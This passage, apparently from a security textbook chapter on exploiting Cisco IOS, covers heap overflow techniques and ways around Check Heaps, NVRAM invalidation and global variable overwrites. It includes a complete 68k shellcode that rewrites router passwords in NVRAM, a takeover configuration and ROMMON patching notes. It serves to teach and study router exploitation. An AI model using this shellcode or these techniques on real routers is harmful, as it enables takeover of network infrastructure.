are less useful than they are on little-endian platforms. If the vulnerability permits it and the target is little-endian, overwriting only one or two bytes of the return address will keep the upper 24 or 16 bits intact and, when combined with a longer buffer, might yield a position-independent return address.

It should be stressed that so far the only way to gain real stable code execution on IOS is to identify a memory leak vulnerability that discloses actual memory addresses. If any of that information can be used to conclude the location of attacker-provided data, it is possible to reliably execute code by overwriting the return address with that known location. The memory region where the attacker-provided data is stored doesn't matter much because IOS has no execution prevention on any of them.

## Heap Overflows

When you are overflowing a buffer that is stored in a heap block, the result is usually a so-called *software forced crash*. In this situation, the Check Heaps process identified a corrupted heap structure and told IOS to crash, dump its memory contents of the affected area, and reload the router. What you will see is, among many other outputs, the line:

```
00:00:52: %SYS-3-OVERRUN: Block overrun at 209A1E8 (redzone 41414141)
```

As mentioned previously, IOS uses static magic values to detect if a heap block overflowed or not. In this case, Check Heaps found a heap block that did not terminate with the magic `0xFD0110DF` but rather `0x41414141`. The general approach to exploit such vulnerability is the same as with other heap overflows on common operating systems. The overwritten information in the management header information of the following heap block is replaced by attacker-provided data that causes a write operation with a known value to a known location when the heap management code changes the block list. This technique works in a similar fashion to the heap overflow techniques discussed in Chapter 5.

### *IOS-Specific Challenges*

For this approach to work, the values need to be as IOS expects them. This is easy for the fixed magic values, but requires your overflow to always happen with a predictable number of bytes in the target buffer. If, for example, the number of bytes that need to be in the buffer before the red zone and the following heap block header are reached is variable due to domain names or other less predictable information, the result won't work very well.

Another significant problem is the list of verifications the Check Heaps process performs on the heap structures (refer back to the "IOS Heap" section

earlier in the chapter for a look at that list again). A subset of those verifications, depending on the IOS version and image, is also performed when heap blocks get allocated or freed. Because the checks include the circular check of the next and previous pointers, there is no known way to replace these with arbitrary values. That means the previous pointer must contain the exact value that it did before—not a good basis for stable remote exploitation.

So until someone comes up with a workable idea that would actually function in the wild, the lab rat IOS heap exploit will use prerecorded values for the `PrevBlock` pointer, because no other value will work. To actually get the router to use predictable addresses in heap blocks, an attacker would have to crash it first. As mentioned previously, the load and boot procedure is fairly predictable and a freshly rebooted router is very likely to use the same memory addresses for allocated blocks. This should be read as "predictable enough for lab use only."

The heap block's BlockSize field is also validated before the free function performs its work, but this check can be circumvented by placing either the correct value or something between `0x7FFFFFD0` and `0x7FFFFFFF` in it, because those will wrap once the 40 bytes overhead is added by the management code. Several of the other values in the heap block structure are not validated at all and can be overwritten with arbitrary data.

Accordingly, the entire heap block header needs to be re-created when overflowing the boundaries of a heap block. Table 13-4 shows which values need to fulfill what requirements.

**Table 13.4:** Heap Overflow Requirements

| FIELD | REQUIREMENT | VALUE |
|---|---|---|
| REDZONE | Must be exact | 0xFD0110DF |
| MAGIC | Must be exact | 0xAB1234CD |
| PID | No requirement | - |
| AllocCheck | No requirement | - |
| AllocName | No requirement | Should point to some string in the text segment |
| AllocPC | No requirement | - |
| NextBlock | Must be in mapped memory | - |
| PrevBlock | Must be exact | Value after overwrite |
| BlockSize | Must have the MSB set for used, MSB cleared for unused blocks | 0x7FFFFFFF |
| RefCnt | Must be not null | 1 |
| LastFree | No requirement | - |

The focused reader will surely notice that the requirements outlined in the preceding table allow you to overwrite a heap block header and pass the tests when an operation is performed using this header, but do not allow any write of data into an arbitrary or even restricted memory region. In the current setup, there is no point in doing the overflow at all.

### Memory Write on Unlink

Once the fake block is constructed, however, we can write into the next heap memory block using our consecutive buffer overflow. If we mark the faked heap block header as unused by not setting the most significant bit of the BlockSize field and the heap block our overflow started in is de-allocated, IOS will try to coalesce both heap blocks into one large free heap block so as to minimize heap fragmentation.

As described in the "IOS Heap" section earlier in the chapter, free memory blocks have additional memory management information in the payload section. Those fields are validated as well, but the verifications are a lot less strict than the ones performed over the main header. Additionally, the development practice of preferring speed over structured code comes into play. Free block coalescing is solely based on the `NextFree` and the `PrevFree` pointers. The operation performed to merge both blocks is:

- The value in `PrevFree` is written to where `NextFree` + 20 points to
- The value in `NextFree` is written to where `PrevFree` points to

Therefore, if one manages to overwrite the primary heap memory block with data that looks valid to IOS and provides the extra free block header information, an arbitrary value can be written to an arbitrary memory address once the blocks get coalesced.

### Alternatives

Like most large applications written in C, IOS makes heavy use of pointers. The fact that it behaves partially like an operating system and needs to provide dynamic code functionality, enabling and disabling facilities in the code only increases the need for pointer lists. Much functionality in IOS code relies on storing callback function addresses in list-like structures.

As an example, there is even the facility "list" in IOS that can be inspected using the command `show list`. When you add the list number after the command, an output similar to the one that follows is produced:

```
radio#show list 2
list ID is 2, size/max is 1/-
list name is Processor
```

```
enqueue is 0x80DC044, dequeue is 0x80DC132, requeue is 0x80DC1E2
insert is 0x80DC2C2, remove is 0x80DC3F0, info is 0x80DC84C
head is 0x201AD44, tail is 0x201AD44, flags is 0x1

    #   Element      Prev      Next      Data  Info
    0   201AD44         0         0   201AD34
```

The addresses listed as `enqueue`, `dequeue`, `requeue`, `insert`, `remove`, and `info` are all functions in the IOS code base that were registered when the list was created. These functions are called when the respective operation must be performed on the list structure. Many such data structures exist in IOS. Therefore, it is wise to inspect the content of the heap block one is overwriting before trying to perform a full heap exploit. With luck and enough code reading, it might more often than not be possible to overflow into one of these structures instead of the following heap header.

## *Partial Attacks*

When inspecting the list of checks performed on a heap block, it should stand out that the `NextBlock` pointer is not verified. This can be used in favor of the attacker because the `NextBlock` pointer will be used later when the linked lists are modified.

### NVRAM Invalidation

One way to use the not verified `NextBlock` pointer is dependent on the router model. In some models, the NVRAM, an area of memory mapped flash memory that is used to store the router's configuration, is writable to IOS. In other router models, this memory area is mapped read-only and only write-enabled for the time IOS needs to save a configuration into it.

By supplying a `NextBlock` pointer that points into the area where the NVRAM is mapped, operations on the heap block linked list cause the router to write pointer values into its configuration section. If the NVRAM is read-only, the router will crash and reboot due to the write protection exception. If the NVRAM is writable, however, the router will keep running until Check Heaps identifies the corrupted heap and reboot afterwards. When it comes back up, IOS checks a checksum on the stored configuration and will realize that the checksum is no longer correct. A Cisco router with no valid configuration will by default request configuration information via BOOTP/TFTP by broadcasting to the network. If the attacker is placed on the same LAN segment, he can easily provide any configuration he wants to the router and thereby take control of the box.

### Global Variable Overwrite

Due to the monolithic nature of IOS, many variables need to be stored globally, so that they are universally accessible. One of these types of variables is flags, comparable to semaphores, which indicate that an interrupt processing routine or a non-reentrant function is executing, so as to prevent the same function from being called twice. This can, of course, be used the same way the NVRAM invalidation works because Boolean variables must just be not null in order to represent "true." Therefore, any Boolean global variable the `NextBlock` pointer points to will be set to true once the heap lists are reorganized.

Gyan Chawdhary has claimed to have found a way to prevent Check Heaps from crashing the router but hasn't produced proof at the time of this writing. It is unclear if a massacred Check Heaps process will simplify getting code execution, although it sounds plausible. The method apparently involves the setting of a flag that tells IOS it is already crashing and therefore prevents the crash from actually happening.

One such flag can be found in the code that is responsible for firing the final trap instruction to the CPU, so this could be the mysterious flag. The flag is used as a semaphore to prevent the crash function from being reentered. The easiest way to find this function in a disassembly is to cross-reference the string `"Software-forced reload"`:

```
text:080EBB68 sub_80EBB68:
text:080EBB68 var_4           = -4
text:080EBB68 arg_0           =  8
text:080EBB68
text:080EBB68                 link    a6,#0
text:080EBB6C                 move.l  d2,-(sp)
text:080EBB6E                 move.l  arg_0(a6),d2
text:080EBB72                 tst.l   (called__200B218).l
                                ; Was crash function already called?
text:080EBB78                 bne.w   loc_text_80EBC18
                                ; Exit if so
text:080EBB7C                 moveq   #1,d1
text:080EBB7E                 move.l  d1,(called__200B218).l
                                ; mark function as called
text:080EBB84                 bsr.w   breakpoint__80EB9B8
text:080EBB88                 pea     aSoftwareForcedReloa
                                ; "\n\n%%Software-forced reload\n"
text:080EBB8C                 pea     ($FFFFFFFE).w
text:080EBB90                 bsr.l   sub_text_807CB72
```

As already mentioned, many such global variables can be identified. All of them have the deficiency of being image dependent and therefore work on only one of the many thousand images. The closer the variable is to the initial

startup code, the higher the chances are that we will at some point in time identify a universal address location for at least some branches of Cisco IOS images.

## Shellcodes

Although Cisco routers can be accessed via Telnet and some via SSH, the concept of a shell is not the same as it is with standard Unix or even Windows systems. Accordingly, a shellcode must do different things on IOS once code execution is achieved.

### *Configuration Changing Shellcode*

The first attempt is to simply change the configuration of the router. This approach has the ultimate advantage of allowing us to write shellcode that is only dependent on the model. The dependency stems from the fact that the NVRAM is mapped into different memory areas on the different models. Additionally, most modern models will write-protect the NVRAM, so the shellcode must know how to turn write permissions on the memory page back on. Other than that, such shellcode is completely independent of the IOS image and features because it will run directly on the hardware.

#### Complete Replacement

What the code does is to carry a new configuration for the router with it. Once the code gets executed, it writes the configuration into the NVRAM, recalculates the checksum and length fields, saves them back, and reboots the router via the documented cold-start procedure of the CPU in question. When the router comes back up, the configuration is used in place of the original one, allowing complete access to the attacker, assuming the configuration was correct.

It's fortunate here that IOS allows all configuration commands to be abbreviated once they are distinctive. Additionally, everything not defined in a configuration is assigned a more-or-less reasonable default value. Therefore, entire configurations can be abbreviated:

```
ena p c
in e0
 ip ad 62.1.2.3 255.255.255.0
ip route 0.0.0.0 0.0.0.0 62.1.2.1
li v 0 4
 pas c
 logi
```

The preceding configuration configures a Telnet and an enable password "c" and an IP address for the interface Ethernet0 including a default route to the next router. Once this configuration is loaded, the attacker can Telnet to the configured IP address and can modify the configuration according to his or her needs.

What is important to remember when performing such an attack is that NVRAM is a slow medium and cannot be written to in a very close loop, so delays must be introduced to the copy operation. Also, it is of supreme importance to disable all interrupts on the platform; otherwise, the interfaces, which will still see network traffic, will interrupt the copy operation and get execution back to IOS.

### Partial Replacement

An alternative to replacing the entire configuration is to just search-and-replace things that need to be changed, such as passwords. This assumes that Telnet or SSH access to the machine is already possible and only the password prevents the attacker from gaining full access to the box. Partial replacement shellcode can also be used in case of large buffers in local exploitation, because the flags indicating a session's privilege level jump around in IOS memory as everything else does.

An example for a search-and-replace shellcode for the Cisco 2500 model is as follows:

```
##

# text segment
        .globl  _start

_start:
  #
  # Preamble: unprotect NVRAM and disable Interrupts
  #
  move.l  #0x0FF010C2,a0
  lsr (a0)
  move.w  #0x2700,sr;
  move.l  #0x0FF010C2,a0
  move.w  #0x0001,(a0)

  #
  # First, look for the magic value (0xABCD)
  #
  move.l  #0x0E000000,a0
find_magic:
  addq.l  #2,a0
  cmp.w #0xABCD,(a0)
  bne.s find_magic
```

```
  #
  # a0 should now point to the magic
  # make a1 point to the checksum
  #
  move.l  a0,a1
  addq.l  #4,a1
  #
  # make a2 point to the suspected begin off the config
  #
  move.l  a1,a2
  addq.l  #8,a2
  addq.l  #8,a2


modmain:
  cmp.b #0x00,(a2)
  beq.s end_of_config

  #
  # search for the password string
  #
  lea S_password(pc),a5
  bsr.s strstr
  tst.l d0
  # if equal to 0x00, string was not found
  beq.s next1

  #
  # found password string, d0 already points to where we want to replace
it
  #
  move.l  d0,a4
  lea REPLACE_password(pc),a5
  bsr.s nvcopy

next1:
  #
  # search for the enable string
  #
  lea S_enable(pc),a5
  bsr.s strstr
  tst.l d0
  beq.s next2

  #
  # found enable string, d0 already points to where we want to replace
it
  #
  move.l  d0,a4
  lea REPLACE_enable(pc),a5
  bsr.s nvcopy
```

```
next2:
  addq.l  #0x1,a2
  bra.s modmain

end_of_config:
  #
  # All done, now calculate the checksum and replace the old one
  #
  # clear checksum for calculation
  move.w  #0x0000,(a1)

  # delay until the NVRAM got it
  move.l  #0x00000001,d7
  move.l  #0x0000FFFF,d6
  chksm_delay:
   subx d7,d6
   bmi.s  chksm_delay

  # load begin of buffer to a5
  move.l  a0,a5

  # calculate checksum
  bsr.s chksum
  # write checksum to NVRAM
  move.w  d6,(a1)

  # delay until the NVRAM got it
  move.l  #0x00000001,d7
  move.l  #0x0000FFFF,d4
  final_delay:
   subx d7,d4
   bmi.s  final_delay

restart:
  move.w  #0x2700,%sr
  moveal  #0x0FF00000,%a0
  moveal  (%a0),%sp
  moveal  #0x0FF00004,%a0
  moveal  (%a0),%a0
  jmp (%a0)

# --------------------------------------
# SUBFUNCTIONS
# --------------------------------------

########################################
#
# searches for the string supplied in a5
# if found, d0 will point to the end of it, where the modification can
take place
# if not found, d0 will be 0x00
```

```
strstr:
  move.l  a2,a4

strstr_2:
  cmp.b #0x00,(a5)
  beq.s strstr_endofstr
  cmp.b (a5)+,(a4)+
  beq.s strstr_2

  # strings were not equal, restore a2 and return 0 in d0
  clr.l d0
  rts

strstr_endofstr:
  # strings were equal, return end of it in d0
  move.l  a4,d0
  rts
#
########################################


########################################
#
# nvcopy
# copies the string a5 points to to the destination a4 until (a5) is
0x00
#
nvcopy:
  # delay
  move.l  #0x00000001,d7

 nvcopyl1:
  cmp.b #0x00,(a5)
  beq.s nvcopy_end
  move.b  (a5)+,(a4)+
  #
  # do the delay
  #
  move.l  #0x0000FFFF,d6
  nvcopy_delay:
   subx d7,d6
   bmi.s  nvcopy_delay

  # again
  bra.s nvcopyl1

nvcopy_end:
  rts
#
```

```
########################################


########################################
#
# chksum
# calculate the checksum of the memory at a5 until 0x00 is reached
#
chksum:
  clr.l d7
  clr.l d0
 chk1:
  # count 0x0000 seqences in d0 up and exit when d0>10
  cmp.w #0x0000,(a5)
  bne.s chk_hack
  # 0x0000 sequence found, branch out to chk2 only if 0x0000 count > 10
  addq.l  #1,d0
  cmp.l #10,d0
  beq.s chk2
 chk_hack:
  clr.l d6
  move.w  (a5)+,d6
  add.l d6,d7
  bra.s chk1

 chk2:
  move.l  d7,d6
  move.l  d7,d5
 chk3:
  and.l #0x0000FFFF,d6
  lsr.l #8,d5
  lsr.l #8,d5
  add.w d5,d6
  move.l  d6,d4
  and.l #0xFFFF0000,d4
  bne chk3

  not.w d6

  # done, returned in d6
  rts

#
########################################



# -------------------------------------
# DATA section
# -------------------------------------
S_password:
```

```
.asciz  "\n password "
S_enable:
.asciz  "\nenable "

REPLACE_password:
.asciz  "phenoelit\n"
REPLACE_enable:
.asciz  "password phenoelit\n"


# --- end of file ---
```

### *Runtime Image Patching Shellcode*

Another possibility for shellcode is the modification of the IOS code instead of the configuration. The major advantage is that the router does not have to reboot and functionality can simply be disabled or changed. If the attacked image is exactly known, one can unprotect the memory area where the text region resides and patch bytes in the code in a known location, resuming operation afterwards. This is, of course, only an option for stack-based buffer overflow exploits or for very advanced and hence stable heap overflow exploits that don't exist today.

One possibility for patching shellcode is to modify the password validation routines for line access (Telnet) and enable mode. Once they are modified to unconditionally pass the password validation, the attacker may Telnet into the machine with any password and elevate his privileges to enable mode the same way. This has been implemented before and works well.

### *Bind Shell*

First presented at the BlackHat Briefings Las Vegas 2005 by Michael Lynn, the IOS bind shell is considered the holy grail of Cisco shellcode. Unfortunately, the talk was censored by Cisco and ISS and, therefore, the details of Michael's implementation were never published.

A promising avenue to IOS bind shellcode is to reuse existing code from IOS. Because IOS does not offer system calls the way common operating systems do and does not actually have a shell process per se, the shell cannot be implemented by a listening socket and the execution of a program upon incoming connects. However, the developers of IOS had to solve a similar problem when they implemented the services for their devices. The finger service output of IOS, for example, is actually the same as the command output from the `show users` command. Therefore, the assumption can be made that the service handler routine is actually implemented as the execution of said command.

When you inspect the disassembly of an IOS image and search for the string of the command, you find only one small function uses such a string. It contains the following code:

```
text:0817B136                clr.l   -(sp)           ; null
text:0817B138                clr.l   -(sp)           ; null
text:0817B13A                pea     (1).w           ; 1
text:0817B13E                clr.l   -(sp)           ; null
text:0817B140                pea     aShowUsers      ; "show users"
text:0817B144                move.l  d2,-(sp)        ; ?
text:0817B146                move.l  d0,-(sp)        ; line
text:0817B148                bsr.w   sub_text_817AF7E
```

So apparently there is an already existing function that takes a number of arguments, including the command to be executed. The only other parameter to the function that is not either 0 or 1 appears to be a pointer to a data structure. It should be a safe guess that this structure contains something similar to a socket descriptor, because the called function must be able to send the output of the command down a TCP channel instead of the console. On a 2600 router with the image decompressed into RAM, patching the string can be done via ROMMON to verify this theory:

```
BurningBridge#
*** System received an abort due to Break Key ***
signal= 0x3, code= 0x500, context= 0x820f5bf0
PC = 0x8080be78, Vector = 0x500, SP = 0x81fec49c
rommon > priv
Password:
You now have access to the full set of monitor commands.
Warning: some commands will allow you to destroy your
configuration and/or system images and could render
the machine unbootable.
rommon > dump -b 0x81855434 0x20
81855434  73 68 6f 77 20 75 73 65 72 73 00 00 0a 54 43 50 show
users...TCP
81855444  3a 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 61 74 74 : connection
att
rommon > alter -b 0x81855434
81855434 = 73 >
81855435 = 68 >
81855436 = 6f >
81855437 = 77 >
81855438 = 20 >
81855439 = 75 > 66
8185543a = 73 > 6c
8185543b = 65 > 61
8185543c = 72 > 73
8185543d = 73 > 68
```

```
8185543e = 00 >
8185543f = 00 > q
rommon > cont
BurningBridge#
```

A finger request to the router proves that now, instead of the user list, the command `show flash` is executed:

```
fx@linux:~$ finger 0@192.168.2.197
[192.168.2.197]

System flash directory:
File  Length   Name/status
  1   11846748  c2600-ipbase-mz.123-8.T8.bin
[11846812 bytes used, 4406112 available, 16252924 total]
16384K bytes of processor board System flash (Read/Write)
```

When inspecting the image for locations where this finger handling function is referenced by code, one ends up at a larger function that passes a number of such small handler functions to a repeatedly called registration function. Among them we find the finger service handler again:

```
text:08177C2A                clr.l   (sp)
text:08177C2C                pea     (tcp_finger_handler__817B10C).l
text:08177C32                pea     ($4F).w
text:08177C36                pea     ($13).w
text:08177C3A                pea     (4).w
text:08177C3E                bsr.l   sub_text_80E8994
text:08177C44                addq.w  #8,sp
text:08177C46                addq.w  #8,sp
```

The parameter 4 is unknown, but 0x13 seems to be a designator for the TCP protocol, and 0x4F is obviously the finger service port. It can be concluded that there is a registration function that takes protocol/port/handler 3-touples and registers them with IOS. Accordingly, it should be possible to develop shellcode registering one of its functions for an unused port and execute shell commands. Such shellcode has not been published yet.

# Conclusion

Very few people work publicly in the field of Cisco IOS exploitation, partially due to its arcane nature, partially because of the expensive single-use equipment needed. With the availability of the Cisco 7200 simulator (`http://www.ipflow.utc.fr/index.php/Cisco_7200_Simulator`), more people have the chance to play with this interesting software platform.

The field is a very interesting one, because many of the well-trodden paths in exploitation are not directly applicable to IOS. The issues arising in common operating systems lately due to the introduction of address space randomization have always been one of the major obstacles for reliable IOS exploits. On the other hand, large parts of the Internet and corporate networks still run on Cisco equipment that is mostly unprotected.

Understanding of the implications of hardware and software design in Cisco equipment and creative use of such knowledge might yield a reliable and well-working exploit for IOS one day. The challenge is still open and awaits someone mastering it.